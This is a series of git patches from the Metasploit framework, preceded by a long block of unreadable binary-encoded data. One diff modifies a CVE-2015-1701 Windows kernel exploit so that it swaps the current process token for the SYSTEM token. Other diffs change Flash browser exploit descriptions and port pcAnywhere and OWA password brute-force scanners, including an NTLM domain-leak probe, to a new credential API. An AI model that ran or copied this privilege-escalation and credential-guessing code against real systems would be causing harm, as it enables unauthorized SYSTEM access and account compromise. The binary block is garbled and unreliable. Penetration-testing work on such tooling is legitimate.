zu{snZwhPm+5g9S52`}aIr4WtFD70WYw&7T8$IGz;$6+Uq$1a?J-8d1YvrK-_<0LfT zWK2RErlB1(P(=kDsG^t8m$GR1a0X^!E>6J(cqJBKHu`ZIuEptCidSJ7{vJ2tOsv6K zxD97x9p>UL%*RHYk4+d@L?c9F1-6I+wxP^PZ~}GMf&K6-Mqw$ZeKdBH_s6JjI5*IM zdQ8EAsIpuPW{}6C1qWjm#$nDkQot~T#sUiBtSiK!DCXBN6!U91uB9H28!!PkVj^zA zB&@>`xCfK52}fcxreGV6!jm`}J24f{e-q%Opdp>(q`+9b6qE2WOviLoa4fpIC3TES#n2Xuy$EjG1)36MuW1yPGRW!EY@38@AVk73@0i1;`I2%u3E_UEG zcoy@q8|PzGmtdSdHS! zvkix11IA+`CgK51#uglf9hiw{(S=dpF=A-ID=`IE>p9&mG{ldH*%*bnH~^R6K=k7v zEXG(Y!(^;R7dGH(Y(&2QOCgNHRvdusI1o?cAnd|e?7`#!4gL452;))a(wB}=sNeu} z<3OB&gD?+cu>g~?2whl#GMC6LI1uY_5bnWPY{F!0Mi-vMfXp@XERBKKje{`i2NpyF zx-bLfG)^uYh}k#@b45Qc5&h|Gi0H>s(T^3PA8SN^1{);$agXT7rXQI9awc0OI&s|W@9tv;z?YB;(p-ARxHNXunb#J&xVN`R5ke@u>n`3 zxUq>l-U0IKQQYcfQ6~>D3epK0cVP$a7ac4ho(a0ir;0jx6h{5M_r_zu`^d#Jfp|tp zA!iUH&j#XIA%px+Xu*dt3&o8p2ZOi({{y+-1R{63LJCzB#6yL6$S5WkcQlDD*Fzb3 zJyxUm)o&Z_!3I2rjrcGgz?ZNEU&j-;4?FM!Jd17EjWaRoCysxJhT$j4@E+>?o9Q;pQfCsSTy#-;#`<20J_uh@p4 z;7R-ocH&2P9*>}SD7g%!?%rFrfnzQnMqSSGe=43PUxo^K9Cnd2b0ZIy zL$HVZ5!C-I8RlRX%ZYg!Pks$%u--}H`7e#aItnu=7%`K)6l=(xsFL3+`dPtH6pu|l z%%;8x^KdTaQa51%`5oBF@?)`x{00=yk?B}Uz7i|&0Wnlbym2DdP`C+eu^e|%7hfEA zk^cd=k-Kmoc?D*XD;Oew0$cHRY{wEjjq@;<4<3eHHWsMF27DSD@ishwwYZTtj=&c3#n?uEDV`uN#14EFyYMhdzw!$K7_bS`@J&?k zDAt@|{wLGOqOb(Tb^deAAwPtL_zG^oowx-b!)<)W)v6*~5hRCz9 zjr@KrBUiD5ybL!6C^%@GrEm|{vEmf$CchS=_>t*m+(ms9@*U1_9r}5n6;sGJV2J)S z%phNmjpU=zLSBFcEN{Uq@+WZt-idR%S#TVUwG?i|4Y&q3Vn5u5r*Ie6;6B`rA$%TN z@fmE#X?QyL*vFp@lN+=)! zZl@}cKhPZCrbf;2Mmm%FZ{l}=+Nq)^YVow*TJ+lKT#B?8zfI*Idq4U%)zG~1U%v-D zKwHcDHi=*G#&o6XtgEz-za1^F(Uy_Szd7;=uW8%6Qsuj}gI%dn^EdRabIPSJb6F%V z?(s!0{>>6MA)6CFe+(L<#3WlYsR>e*`OI>F9;#PEEKL-}XWdvuF}AOAM1|JVyln34Zo z?7uon{z(@t*7E(@305#m3GbkxV_2#qy1OAK}}Fo)v;=>ny(hBtJHhdE$ZWHy}Dc7 ztG=MNsK?b)YNz^>s&@=?q&c!23mmJR_0C<+=bc|Ve|1K?hPZNFD_su;T+g^9cY=Ge z`(by;y~msBTj+bp_n7aLugAwRNaLE$d{Y#ga-FhXd02T;c~*H>i8rn=t}#Aj++%#* z_<`|j3-9rrdrd}rvEg(YHBgHn?5z2GW}rcHVrh# znMaz_%to`{yw)5jH$Pz3%=PBI=6&YZ%*V{1nI%h|Wxu7_(q`$fd};Z~l4#Ae+N^Ht zbn7bX8ta|bGV4>;H)wA96wC4p+$aBQg?m6Y@^z`!%_ojH$y>9Pp z?>z5f?{e>I?^^F|-n+f!-c8OJM{^ai@T zKYD-l_Vej|alS;~NZ%OWc;D}Q7N6TU#W&qI+n48CC0_#%iz1FSPC#>DpSvI}hW&hS5u&OiF3XV}&H8`>zGabtu zs~v|N#~f{r4;|k+E;#hg1ZS#qvh!Z&KIhv`pF7|EfVON5tLAL;O!GD7o6NVHcbJ>Z11v_%3dT!JvfJ!#`xQ*vN_&;Ph6!6|KV*N~{-OO-`&agJ z_8;usc3I6+7pmLTC)B`B^*_{o>Wk_T^)kmK#|+0cj)RV090|@b&P>-_*G;bVu1zk@ zwZpZ~^|Gtg^|9*<*Ll|kSGs$id%1hH`$6{s_XO`%-U9C$@0Z@Q-fr(?&Kivgyn{31 zM=^zSd5(ku$_S3XN13fGQ*Ko%IncY6mzB2y%30-tVlZB6v>4y8Ot$W|K4~-BZ|2Cz z9G0h5o#Pef>&`cv=bXPe(_BWE-E}3Kwb12vt#Jihm98o_?lIR>uBTnkx`J$Cv+GUQ zd#;nNbFTjGSmxA7_gJ^$zSUjjZg79^?sg}8R(c-vG%zBFKe zpMCANC#x>?3iU?yHuX+*6Ne+DzQ;vlsN)jHD92@v@eajdcX%CB9XXD8)FgY&Tvn6FLAGQ z2i%+7kGkvJjqVQjZ|=ZIkK%E99`m$$zV;ZrnsukGi3+)%!kwUI}Th(XTg;VNRs?~9o zW3%H?N1Ahjb1H{1-Bske)Acxq>$K|^S6aaRxcfu*U)_=?*R#x1;26D}-Y_`dR;^PTr~`!0wLD~p_0l1|Ypv0Ppfm2un|LdF*3TC>g)XQ{O` zSQ;&_S!P<7TOYF;Y$m(Yeo8HNlsV#@iOx%%M&~Qe6V5o-qprBWd-Y<4HQZ!i>#Ip} zQlQFy%05>8%u(mu#TAZnUE~v`M8=@X_?U63`FisPbGf<7Tw~s1-ex{%{+l`45^FJ7 z;w?#*6ib>V-I8HhXDPL8u#|Bb`r7iN#bCX}nqp0}rdy|S7ujyzW!+ z@`wT1%-I}A?$%4<#?#}GyfeIoUcYyvcZ;`?`$apGI?1Q{7WhhiTYTGmO-$@| mj)Qo3PUC$^O1hGz6ewj%of1+y6v>!kOydjuel7XtrV^qM@RxJE;{F6x-?!2^I#m z*s)^E3{#6XbFs0sa%)UYY$>U=qVn2hON%Z|v8>RjxnAFKYuVr9`u%>7$Mx^UqxU?& z-_JR7=G=VG&5Tv-GFI#|)^(0t@Wm~&rGNglONNmHWRoOqr%-*dc(;D3eAPI=O_mIj zBukPx{@=g6*fqu|bKYnwUMK-UEmZgX4_DSYY123_`*-^=y7aN=aTg3GFvG&ltK2TQ4GUVFH7 z#hX=$qE?i&d&-E)sHNANc@M1pmO`(6c^$!Cl2kLrG_m+jwO zTv`E(%My!gTl>k3QYF;R+RnPTo;6)Hle@?6pVg}?HrU84YriWs7c7_lZ9zBG99p=b z=EVH{q3&NclTGhskM0j8=nMN7-7s@z<8{&g11D#Bi%91*s)Qbiv205lb zIAE4{XLl@i&!4yc6pQT~E=hMLERV$oXR^|1Q0ttO1rDS)M4%vRPkw z$rRb7M=r5nnZTqk+c`!Z&n8OJ$-`{^(#@i{Hu}3Yxm!d_YfIickAVF6~|UlcCI6lW5TuvoGr)t5DOmZuRlXpX9QvwXw3yS$VOtgpTK_&zd7z zAF@H4ExK+VCtD)>%qL|zPk(-3Sk8)!8+4m&F8@g~cdWaV5m1(JXi8C*z9V_JJXK#d zxN2bY8w>yr<4SQ%qoqSa?RxiMP0rH&DZ^8;Sg~0J9gp|poz6@;_D|Lg&(d#A85Zvq zbgW=X%xPiDy5VAa$GmtUT{LIVtb8Z7Zn&6SdBC)8c)I?2%Cmv;A34)XhlYe5_l=aK zxqNPawjwrIl;(D9y^JBAFV2=6UOL`pzszNxvWcN*t@^ehKgbRG=G2t5WELwYRUKyX zq27Mcp>_Xc^HZw+Zt6R7vfeP%nVL&|Z8YiOeKq^`SB@4vY5(#ip=ji*q269{ww^Wo z#y(ha58otn6qO8DqSzEZGFJLljnkyxkulM3qEgVIi9T6>hjp(XL!(H^x>dA!utvs4!^ z9qU0FP}mM%IWhp7Lu zFY@AZb@!MnR1z;q?Ehcps*RV7Jxkl;rEo&eS~OlW^(-BWm&`p&o$*p?&ysXdtbTIO zk~v;V?^&|MOO~FcuoACj_N+~hm$G`6isPm1o~4p_N$FXtikBQcN?TMqp$($`%f8qZ zpUZ!7uE<-NqvRX5HOOmLjg~S~*2MEScx;-|V=Ea*^yv+qhpFWQ(4oY?E^$ zpDQbRCzmj(w0}-z*O1%K+N1OL*BB3$>PubAxSY1Qa^y*RqT4N(>XY4B@+$on+SQS# z-NkaB;useOC1Uank>!d=ruQnD>p{NHYUrGz-{-qqjz$bz3W#d9arJi2-3=3; z7!Yp%M4Y>);%6<_-pgZyi)dGN%}H9joJ&qYLFnJ-NUEAeIn>45=3KmYasjH+sO81} z8ZsUeW5_>N-1o$lK-7}swVZ#eWyNcg#>#rrjAVIIi!C9mNS%Ig_EO)u#iIWGM|{>+nk?(*wK{)st;UMA>SBK8 z5Hr^$@RCjP^`!+C!@0%!eFa&9odwEhF$0TegeJ0wL`gGgC2i#7V!h9t+(8#V*LWlA zN79KBSu|(8p;voM(!ZViyQcgUg0V~bwzCs*t9R&13UBe4}bddba^9k(8mnRMrEQw%pue@HSP z>Ybe?o7Km8%E+Q|sJFuFVY-KUJ7`_DQM6QAjkLD-K9ojzJDiNloy z-OO{2oFd1`F>;i&Y|)p`&P^6`*2Kh;72+p(TlF_*FY)i%_RIKLLi7JJe)jMN)=11; z*G&5qN#3R}E66bH+7=%`AO?__gJp!Egp`vCQcdbeJ$Y`M7(mGvKllKJ7IKVqZi|e1 ztg`QzDjr!*UbC!nb%j(qFu(~GEgP`*aG4US6%!JDZ@^lKFOWCCMRqz2&g9fX1DqnrtF_$a~}z>C;D+Mv)v6A|<4X z)R9eOJ9&w`MLs1Lh=~mlfJ}K5`zU&KUy(O6wn7bNzn3dYGKdOI`%;FO&kcVoi4F`&P zi)0=o>X<6(C>{oL-9-_R_u#yC^obm#fEmE z*w9WKfL+LUXTH!#X1>-)33v&bF$q&q><|mGL&8!P4Y5ZQ6njL)WX!?An2RZxhhk3^ zqS#Z#DE3qc#hxm`_?|+($w?I`_EdCkS2V)7Q;3`bTY8;9iFbx}U7;eXO+=IjM0FJ;`%)nz`g&7ny zIw*|9b2tj6(~Jo;VJ4>HXw1aRQNb(Fk7FEe8H;cVhVU8;m(rL@ zqXMU4EnbWDI32g*udoSc;9ktbX1pGcVga_}96W{dup5`6sZ%nqz;s-R*?14CC?|0K zO`>7siXyJ3eKC)IKPhYI#bKbkNX(=Z=>xDsV9k*lyDR%3tMfF^9f zG~A9pJb+=DYvxfJ{jeST<0(wTF7%=K8y0L~aA7~p#{Q_H4=0J~nXHJIj>Td+t`yU; zTujemg~W8+Af{u(H=O@+Hftm%;2tpn51_1Yo{Bmi6LstmbqA-ZsH1d_I+{>c*<+%Q znWFD!kBL6|ML&lXy6JFyKL@HqY+JMjp1l-d6fIqPW$|qE0`|UXb?ESdGoNTTEaE z@l4Q8f3m34H{vP!;>Od3_n~+u5YGt4?|2+S@oXTT70mRX!gO4ZStxE)4vb(9K8M_I z!tp!ZbP6>T#6v}2ETS*&XyV}_0Ymh+U@3~<_$qKa*5YBT$A@q$zJg775clFPY{n1p zD7IodUW=!`BubW!*#il>-zl&!44@}1oF$>>92fm0oxDTh}Q7pu*xCEca z68t-^LLIBI9XH^s*bt`i4vp>j58Q*F-~s#_w&F*44BtfYP;wb|&=$czc*hIr-+^I?Hw>VWNnryjxDEZd19R~@%*U6o824g5 z3ku>&`qiRN-;L$;Dhs3ZmtzC{3~Zsl2vg}_f^GCUbK?(|NqC(8!`O*4F^l=cdD>0?dNi{_x{78t?81Z#lKFR-%k*SSreA=0^arDb{v6E4 zdQ`C%bMZ+m#6}_Wr(lSFAr{jgf~6NY|L4-E<^%m$!3=A$7N5a-yc4(LMl9itL$Qhe z4Y-H?DBMeb2{z+v*oOPD1Dmi5_h7;glKC%~iifcLBbK6n^zp#K;);C#$sL+rSn{@vI}KL_{FzaK;NRcxkTfhA!I9vVj}+=JCD zI33&RFThiH3)WE|j$QN@Vjk~vqLH7RR$(L4Ey#B~^J1*0KLXR~7h^8-J1~p>Cd|R# z;>>ntyn;p{g`02*-ijsI3oGzbtiw9oh?}tyU%*}XM~vbWY>Djr`0oSxO?LfPw+`&& zhYhh1h4Vt0#%@}+eq@TSoK7`-k)}^Oot6+zXMYks`*gZ_S%zfh$Fmr3kZz|fX1wGB z%fE^zEc$Dw)8sk&N2fE4j;xDsGn{hhX=g?lrl* zKhWfJQhRd`GbigGoyp*zW6z(-FfUp5uP^-LY3s#jQu)ztLT85I{hRa)EHp{KhtBsm z$3J1AzOOSw9njxGQuHRrDWAVt5sM_Hjs^^ zku;ILq?xpkR&tDVlAn)pH*Mn~Zk;5Vq?1gNO&nwr$tO!lIjJQZ4@v#aO*Hn9sJ^Is z>;y|Qvy&XsN_9FGk|m^+RFitLokU49X(h*ri7#Rn{iE(j&22}ycznd}`Iry8lz(lx z$1pGQ@sGdiGkQ}Imy!Qpc3)?dzc=(2OZoWGseSn$ACB$5t*?B<7&f^2xrVwfca3xT zToYW^x$<3iyIyfcUGKU6?&@~+cc;5YxwG8k-G28(_agTu_g44I?$_MS?sweh-7$Bf zI!GO>2Goh_boF|*P+h3rrrxF2sO!}Rb*K8OdRYBZl|2Kz6TP|K>%I4SANOwa{>j_v z?c=-3H_g}Jdok=g;;2Y;tdCo_THmxDvA%Ep#CqP^$99SBN}J2(w_RhKZChXq*~)FJ zZEI}0t={&mZHMhuTh#WhEx~TKUuGX~x7))L?KAB8_J#JF>|uL@J;yP}vBXj0sBqlt zc+~Ndqs8%ocEyjB(OJdAaE>jCh%?GhkzkCAZQMz1V;of3yuj|gRY=II4L+aI3qYGSQK0wTpqkN zSQcCzTobGg)&(C9J{}Bj2{s0I1YZii8r&B=9DFBuG(q?IMwME)8ZKYPK{YDFG_i44-L)v57liD`zdF=&lj~3Mq zYJbuGs~WuYG<|c+E1FK@U+8`H7X|MQe{Y3$xt$tD>=SyC7?`JrYSR&LS?>k zqq0J|O$jRxC>xZ`${&>@%5g=qj(iRPi&vrF4$7-^X%`~ zPukDgf3RQb$aHue6CE=g^Bng$UU0nS=yLq%80B<31I~KqX=kJB6W8zE@4HXBGu80D z>XT}ddR#pz#;Iqq=O#~y=Pu9hJ)1m@o)na7LJZ;@!XVC2Wa|V5?)BDY z>shPOmTa44TM@RE+14{QH`%t^Ua%dqwb_o_PTIb$0v?6j&B`LIiGQEckXwZT!UQ0Ts5vb*B@NlTz_uaeLi4 z?#1p~-FLZHyVtoNbnEVV_h$DwPF$5!c8Yqfny-fEs>{^<>f36E`n9^q^BCK_&(q@l z#+&F%^NsP@eUp9pz8icieRuoT`ZoAB`40HL^%?vF{8#yl{BH%m3`oJG;Jv}xV14ii zqsGn&Jed*ku=b4hGDrVEv@>E47OS|#x59UaZ;13z`vk5E6mssY3^WEN z23G`s6O@X>JW6wHMk^DQqWGXIQA(9^hTI|LgmOyhRL&_~N;gB#XiebA6|AhZlf2;pvzb6nb3EUrO3fP0s1h3GRYPWC}bB>nq ze8}Q=8~ z1Jpw(-ew5PO2Z95m1m$XBgRKZU$tYAvfW!kcA**3-Iu&LZSa%_`qxwf(HHSUA%uqVfx%hirIH1G%xFR@R?T0Pbi zwqEvhZX;vuirryX?ThU9*|*uZ+nemW?0f8c?NR#yd$WC@Bh``auy9Gb-|?`c$+6q9 z*AaCbaGY=?IVU)CbDYzidCq)ip|i+Y>|Em9;oQY;-Rq1xUGC34_xUFW76fh%JQ#R0 za9L1l;_DJCuuy%(yV<*w^TFgB_~?&=rzmG<~4vpY9c L-XrS`viZLN*X0=> diff --git a/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c index 637ddf7cd2..ef97381f17 100755 --- a/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c +++ b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c @@ -70,7 +70,13 @@ pUser32_ClientCopyImage g_originalCCI = NULL; PVOID g_ppCCI = NULL, g_w32theadinfo = NULL; int g_shellCalled = 0; DWORD g_OurPID; -DWORD g_EPROCESS_TokenOffset = 0; + + +typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)( + _Inout_ PVOID Process +); + +lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL; typedef NTSTATUS (NTAPI *PRtlGetVersion)( _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation ); @@ -272,6 +278,9 @@ ULONG_PTR GetPsLookupProcessByProcessId( break; } + pPsReferencePrimaryToken = (lPsReferencePrimaryToken)GetProcAddress(MappedKernel, "PsReferencePrimaryToken"); + pPsReferencePrimaryToken = (lPsReferencePrimaryToken)((DWORD_PTR)KernelBase + ((DWORD_PTR)pPsReferencePrimaryToken - (DWORD_PTR)MappedKernel)); + FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsLookupProcessByProcessId"); FuncAddress = KernelBase + FuncAddress - (ULONG_PTR)MappedKernel; @@ -329,6 +338,36 @@ HWND GetFirstThreadHWND( return 0; } +// Search the specified data structure for a member with CurrentValue. +BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize) +{ + DWORD_PTR dwIndex, dwMask; + + // Microsoft QWORD aligns object pointers, then uses the lower three + // bits for quick reference counting. +#ifdef _M_X64 + dwMask = ~0xf; +#else + dwMask = ~7; +#endif + // dwMask out the reference count. + dwCurrentValue &= dwMask; + + // Scan the structure for any occurrence of dwCurrentValue. + for (dwIndex = 0; dwIndex < dwMaxSize; dwIndex++) + { + if ((pdwStructure[dwIndex] & dwMask) == dwCurrentValue) + { + // And finally, replace it with NewValue. + pdwStructure[dwIndex] = dwNewValue; + return TRUE; + } + } + + // Member not found. + return FALSE; +} + /* * StealProcessToken * @@ -349,9 +388,14 @@ NTSTATUS NTAPI StealProcessToken( if (NT_SUCCESS(Status)) { Status = g_PsLookupProcessByProcessIdPtr((HANDLE)4, &SystemProcess); if (NT_SUCCESS(Status)) { - if (g_EPROCESS_TokenOffset) { - *(PVOID *)((PBYTE)CurrentProcess + g_EPROCESS_TokenOffset) = *(PVOID *)((PBYTE)SystemProcess + g_EPROCESS_TokenOffset); - } + PACCESS_TOKEN targetToken = pPsReferencePrimaryToken(CurrentProcess); + PACCESS_TOKEN systemToken = pPsReferencePrimaryToken(SystemProcess); + + // Find the token in the target process, and replace with the system token. + find_and_replace_member((PDWORD_PTR)CurrentProcess, + (DWORD_PTR)targetToken, + (DWORD_PTR)systemToken, + 0x200); } } return Status; @@ -436,13 +480,6 @@ void win32k_client_copy_image(LPVOID lpPayload) g_OurPID = GetCurrentProcessId(); g_PsLookupProcessByProcessIdPtr = (PVOID)GetPsLookupProcessByProcessId(); -#ifdef _WIN64 - g_EPROCESS_TokenOffset = 0x208; -#else - g_EPROCESS_TokenOffset = 0xF8; -#endif - - if (g_PsLookupProcessByProcessIdPtr == NULL) { ExitProcess((UINT)-3); return; From 910ae8a480bf6e2fe0eed95f180d9846bee38689 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 4 Jun 2015 23:09:55 -0500 Subject: [PATCH 0321/1013] Fix #5461, actually stop a job from the RPC service Fix #5461. The RPC service is incorrectly using the wrong method to stop a job, this patch should fix that. --- lib/msf/core/rpc/v10/rpc_job.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/rpc/v10/rpc_job.rb b/lib/msf/core/rpc/v10/rpc_job.rb index 43b132f877..8624cb9af4 100644 --- a/lib/msf/core/rpc/v10/rpc_job.rb +++ b/lib/msf/core/rpc/v10/rpc_job.rb @@ -28,9 +28,10 @@ class RPC_Job < RPC_Base # @example Here's how you would use this from the client: # rpc.call('job.stop', 0) def rpc_stop(jid) - obj = self.framework.jobs[jid.to_s] + jid = jid.to_s + obj = self.framework.jobs[jid] error(500, "Invalid Job") if not obj - obj.stop + self.framework.jobs.stop_job(jid) { "result" => "success" } end From 5f4b2ed22a8d4583a37b1548e42c4649af8549c0 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 4 Jun 2015 23:36:36 -0500 Subject: [PATCH 0322/1013] Newline --- .../exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb index 6ea9de8851..2b401c731b 100644 --- a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb @@ -143,4 +143,4 @@ class Metasploit3 < Msf::Exploit::Remote swf end -end \ No newline at end of file +end From 71a848709159b0996add88a935762858a3341869 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 4 Jun 2015 23:46:41 -0500 Subject: [PATCH 0323/1013] Correct Flash version in the module description There is no 11.2.202.404, mang. --- .../multi/browser/adobe_flash_net_connection_confusion.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb index 1182b2f2b7..8e0dc8a526 100644 --- a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb +++ b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote successfully on: * Windows 7 SP1 (32-bit) with IE 8, IE11 and Adobe Flash 16.0.0.305 * Linux Mint "Rebecca" (32 bits), and Ubuntu 14.04.2 LTS with Firefox 33.0 and - Adobe Flash 11.2.202.404. + Adobe Flash 11.2.202.442. }, 'License' => MSF_LICENSE, 'Author' => From b6936febbe51225371c3587754105db689e11f9c Mon Sep 17 00:00:00 2001 From: root Date: Fri, 5 Jun 2015 12:16:00 +0500 Subject: [PATCH 0324/1013] Update pcanywhere_login to use the new cred API --- .../scanner/pcanywhere/pcanywhere_login.rb | 39 +++++++++++++++---- 1 file changed, 31 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb index ff494943aa..c750621790 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb @@ -44,14 +44,12 @@ class Metasploit3 < Msf::Auxiliary case result when :success print_good "#{ip}:#{rport} Login Successful #{user}:#{pass}" - report_auth_info( - :host => rhost, - :port => datastore['RPORT'], - :sname => 'pcanywhere_data', - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true + report_cred( + ip: rhost, + port: datastore['RPORT'], + service_name: 'pcanywhere', + user: user, + password: pass, ) return if datastore['STOP_ON_SUCCESS'] print_status "Waiting to Re-Negotiate Connection (this may take a minute)..." @@ -73,6 +71,31 @@ class Metasploit3 < Msf::Auxiliary end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + }.merge(service_data) + + create_credential_login(login_data) + end + def do_login(user, pass, nsock=self.sock) # Check if we are already at a logon prompt res = nsock.get_once(-1,5) From 3ec6d9b7aad822f6a8e30e990c5375dd450ea4e9 Mon Sep 17 00:00:00 2001 From: root Date: Fri, 5 Jun 2015 15:41:07 +0500 Subject: [PATCH 0325/1013] Update owa_login to use new cred API --- modules/auxiliary/scanner/http/owa_login.rb | 86 ++++++++++++++++----- 1 file changed, 65 insertions(+), 21 deletions(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 9acadc34a2..299f1266bb 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -76,7 +76,6 @@ class Metasploit3 < Msf::Auxiliary } ) - register_options( [ OptInt.new('RPORT', [ true, "The target port", 443]), @@ -128,7 +127,15 @@ class Metasploit3 < Msf::Auxiliary each_user_pass do |user, pass| next if (user.blank? or pass.blank?) vprint_status("#{msg} Trying #{user} : #{pass}") - try_user_pass({"user" => user, "domain"=>domain, "pass"=>pass, "auth_path"=>auth_path, "inbox_path"=>inbox_path, "login_check"=>login_check, "vhost"=>vhost}) + try_user_pass({ + user: user, + domain: domain, + pass: pass, + auth_path: auth_path, + inbox_path: inbox_path, + login_check: login_check, + vhost: vhost + }) end rescue ::Rex::ConnectionError, Errno::ECONNREFUSED print_error("#{msg} HTTP Connection Error, Aborting") @@ -136,13 +143,13 @@ class Metasploit3 < Msf::Auxiliary end def try_user_pass(opts) - user = opts["user"] - pass = opts["pass"] - auth_path = opts["auth_path"] - inbox_path = opts["inbox_path"] - login_check = opts["login_check"] - vhost = opts["vhost"] - domain = opts["domain"] + user = opts[:user] + pass = opts[:pass] + auth_path = opts[:auth_path] + inbox_path = opts[:inbox_path] + login_check = opts[:login_check] + vhost = opts[:vhost] + domain = opts[:domain] user = domain + '\\' + user if domain @@ -208,7 +215,13 @@ class Metasploit3 < Msf::Auxiliary :active => true, :type => 'password'} - report_auth_info(report_hash) + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'owa', + user: user, + password: pass + ) return :next_user end @@ -273,7 +286,13 @@ class Metasploit3 < Msf::Auxiliary :active => true, :type => 'password'} - report_auth_info(report_hash) + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'owa', + user: user, + password: pass + ) return :next_user else vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response body did not match)") @@ -282,14 +301,14 @@ class Metasploit3 < Msf::Auxiliary end def get_ad_domain - urls = ["aspnet_client", - "Autodiscover", - "ecp", - "EWS", - "Microsoft-Server-ActiveSync", - "OAB", - "PowerShell", - "Rpc"] + urls = ['aspnet_client', + 'Autodiscover', + 'ecp', + 'EWS', + 'Microsoft-Server-ActiveSync', + 'OAB', + 'PowerShell', + 'Rpc'] domain = nil @@ -299,7 +318,7 @@ class Metasploit3 < Msf::Auxiliary 'encode' => true, 'uri' => "/#{url}", 'method' => 'GET', - 'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} + 'headers' => {'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=='} }) rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT vprint_error("#{msg} HTTP Connection Failed") @@ -314,7 +333,7 @@ class Metasploit3 < Msf::Auxiliary if res && res.code == 401 && res.headers.has_key?('WWW-Authenticate') && res.headers['WWW-Authenticate'].match(/^NTLM/i) hash = res['WWW-Authenticate'].split('NTLM ')[1] domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') - print_good("Found target domain: " + domain) + print_good("Found target domain: #{domain}") return domain end end @@ -322,6 +341,31 @@ class Metasploit3 < Msf::Auxiliary return domain end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + }.merge(service_data) + + create_credential_login(login_data) + end + def msg "#{vhost}:#{rport} OWA -" end From 318f67fcda70f1ceab5d5a8a61dcd60fdc0e69ee Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 5 Jun 2015 09:01:20 -0500 Subject: [PATCH 0326/1013] update descriptions --- .../multi/browser/adobe_flash_net_connection_confusion.rb | 8 +++++--- .../multi/browser/adobe_flash_uncompress_zlib_uaf.rb | 4 +++- .../browser/adobe_flash_copy_pixels_to_byte_array.rb | 6 ++++-- 3 files changed, 12 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb index 8e0dc8a526..97dfd64876 100644 --- a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb +++ b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb @@ -19,9 +19,11 @@ class Metasploit3 < Msf::Exploit::Remote to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like vectors, and finally accomplish remote code execution. This module has been tested successfully on: - * Windows 7 SP1 (32-bit) with IE 8, IE11 and Adobe Flash 16.0.0.305 - * Linux Mint "Rebecca" (32 bits), and Ubuntu 14.04.2 LTS with Firefox 33.0 and - Adobe Flash 11.2.202.442. + * Windows 7 SP1 (32-bit), IE 8, IE11 and Adobe Flash 16.0.0.305. + * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 16.0.0.305. + * Windows 8.1, Firefox 38.0.5 and Adobe Flash 16.0.0.305. + * Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.424. + * Ubuntu 14.04.2 LTS, Firefox 33.0 and Adobe Flash 11.2.202.442. }, 'License' => 